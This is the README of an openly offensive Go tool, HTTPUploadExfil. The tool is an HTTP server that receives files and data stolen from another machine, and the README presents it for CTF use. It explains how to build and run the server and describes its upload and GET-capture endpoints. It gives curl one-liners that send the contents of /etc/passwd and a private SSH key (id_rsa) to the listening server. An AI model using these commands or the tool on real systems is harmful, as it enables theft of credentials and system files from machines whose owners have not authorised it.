HTTPUploadExfil: HTTP Server for Exfiltrating Files/Data

HTTPUploadExfil is a (very) simple HTTP server written in Go that’s useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it’s meant to be used in low-stakes offensive scenarios (e.g., CTFs).

Think of this as python3 -m http.server but for getting data off a machine instead of on the machine.

Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it’s quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.

TL;DR

1. Build the tool using go build.
2. Run ./httpuploadexfil :1337 /home/kali/loot on your machine.
3. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from.
4. Find your uploaded files in /home/kali/loot.

Building

It’s trivial to build this tool.

Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform.

Usage

The most common use case would be to run the server on Machine A. Now, on Machine B you access the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl.

Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk.

Hence, you can exfiltrate data using the header of the request. It’s easiest to use GET parameters (e.g., ?data=...), but there are other options.

By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory.

./httpuploadexfil

You can also provide some arguments:

./httpuploadexfil :1337 /home/kali/loot

The first argument is a bind address, the second one the folder to store files in.

Endpoints

The webserver exposes three endpoints for you to use:

1. / (GET) is the upload form.
2. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled.
3. /g (GET) will take any GET request and store the full request on the server.

Shell

Using Bash, we can exfil data using GET via, for example:

echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g

Of course, we can also use curl to exfil files:

curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p

ToDo

• Implement an HTTPs version (Transport Encryption)
• Add download option (i.e., provide python3 -m http.server functionality)